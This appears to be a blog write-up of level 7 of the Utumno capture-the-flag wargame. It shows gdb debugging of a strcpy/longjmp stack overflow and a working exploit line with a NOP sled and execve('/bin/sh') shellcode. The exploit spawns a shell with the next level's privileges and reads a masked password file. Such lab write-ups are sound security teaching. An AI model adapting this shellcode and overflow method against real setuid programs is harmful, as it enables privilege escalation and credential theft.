utumno7@utumno:~$ /utumno/utumno7 utumno7@utumno:~$ /utumno/utumno7 a lol ulrich && fuck hector utumno7@utumno:~$ ltrace /utumno/utumno7 a __libc_start_main(0x8048501, 2, 0xffffd794, 0x8048550 <unfinished ...> puts("lol ulrich && fuck hector"lol ulrich && fuck hector ) = 26 _setjmp(0xffffd64c, 0, 0, 0x5d034448) = 0 strcpy(0xffffd5cc, "a") = 0xffffd5cc longjmp(0xffffd64c, 23, 0xffffd6ec, 0x80484f7 <no return ...> +++ exited (status 0) +++
It does something and specifically a call to strcpy() using the command line parameter.
Let's try with a longer input: a strange behavior happens when using buffer longer than 140 bytes.
(gdb) set args $(python -c 'print "A"*140') (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /utumno/utumno7 $(python -c 'print "A"*140') lol ulrich && fuck hector Program received signal SIGSEGV, Segmentation fault. 0x00000019 in ?? ()
Uhmm... execution flow was changed to 0x19
That's a strange value for a memory address: likely it's a value stored somewhere in memory. Maybe on the stack?
Let's inspect ESP value and the memory area around its value:
(gdb) info reg esp esp 0xffffd608 0xffffd608 (gdb) x/wx 0xffffd600 0xffffd600: 0xf7fc3960 (gdb) 0xffffd604: 0x00000019 (gdb) 0xffffd608: 0xf7fc5000
The execution flow was changed to the address contained at memory location %esp - 4
Using a 144 bytes parameter is much more interesting:
(gdb) set args $(python -c 'print "A"*144') (gdb) r Starting program: /utumno/utumno7 $(python -c 'print "A"*144') lol ulrich && fuck hector Program received signal SIGSEGV, Segmentation fault. 0x080484d5 in vuln (arg=<error reading variable: Cannot access memory at address 0x41414149>) at utumno7.c:23 23 in utumno7.c (gdb) info reg eax 0x17 23 ... ebp 0x41414141 0x41414141
The code at line 0x080484d5 wasn't able to access memory 0x41414149
Let's keep this 144 bytes buffer but made of 140 A's and a valid address on the stack.
And then explore that memory area.
First time with 0xffffde60:
(gdb) set args $(python -c 'print "A"*140 +"\x60\xde\xff\xff"') (gdb) r Starting program: /utumno/utumno7 $(python -c 'print "A"*140 +"\x60\xde\xff\xff"') lol ulrich && fuck hector Program received signal SIGSEGV, Segmentation fault. 0x333b3030 in ?? () (gdb) x/wx 0xffffde60 0xffffde60: 0x3d737570 (gdb) 0xffffde64: 0x333b3030
Again with 0xffffde80
(gdb) set args $(python -c 'print "A"*140 +"\x80\xde\xff\xff"') (gdb) r Starting program: /utumno/utumno7 $(python -c 'print "A"*140 +"\x80\xde\xff\xff"') lol ulrich && fuck hector Program received signal SIGSEGV, Segmentation fault. 0x5f485353 in ?? () (gdb) x/wx 0xffffde80 0xffffde80: 0x003a3633 (gdb) 0xffffde84: 0x5f485353
What happened?
The execution flow was changed to the value contained at the memory location just after the addres specified at the end of the buffer.
For example: we put 0xffffde80 at the end of the input buffer.
The execution was changed to 0x5f485353, which is the value contained at address 0xffffde84
We can use this behavior to change the execution flow to a controlled location.
0xffffd820: 0x00376f6e 0x41414141 0x41414141 0x41414141 0xffffd830: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd840: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd850: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd860: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd870: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd880: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd890: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd8a0: 0x41414141 0x41414141 0x41414141 0x41414141
- Filling: "AAAA"
- Return address: "BBBB"
- NOP Sled: 144 - filling-size (4) - (4) - (4) = 144 - 4 - 4 -4 = 132
- return address location: "0xfffd824"
(gdb) set args $(python -c 'print "AAAABBBB"+ "\x90"*132 + "\x24\xd8\xff\xff"') (gdb) r Starting program: /utumno/utumno7 $(python -c 'print "AAAABBBB"+ "\x90"*132 + "\x24\xd8\xff\xff"') lol ulrich && fuck hector Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? ()
Now insert a shellcode and shorten the NOP sled accordingly:
(gdb) set args $(python -c 'print "AAAA" + "BBBB" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x24\xd8\xff\xff"') (gdb) r Starting program: /utumno/utumno7 $(python -c 'print "AAAA" + "BBBB" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x24\xd8\xff\xff"') lol ulrich && fuck hector Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? ()
(gdb) set args $(python -c 'print "AAAA" + "\x44\xd8\xff\xff" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x24\xd8\xff\xff"') (gdb) r Starting program: /utumno/utumno7 $(python -c 'print "AAAA" + "\x44\xd8\xff\xff" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x24\xd8\xff\xff"') lol ulrich && fuck hector process 7617 is executing new program: /bin/dash
$
As in the previous levels, we can try to add something between 10 and 20 to the buffer memory location.
After a few tries we can find that working address is 0xffffd836:
/utumno/utumno7 $(python -c 'print "AAAA" + "\x44\xd8\xff\xff" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x36\xd8\xff\xff"') lol ulrich && fuck hector $ id uid=16007(utumno7) gid=16007(utumno7) euid=16008(utumno8) groups=16007(utumno7) $ cat /etc/utumno_pass/utumno8 j*******v
$
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.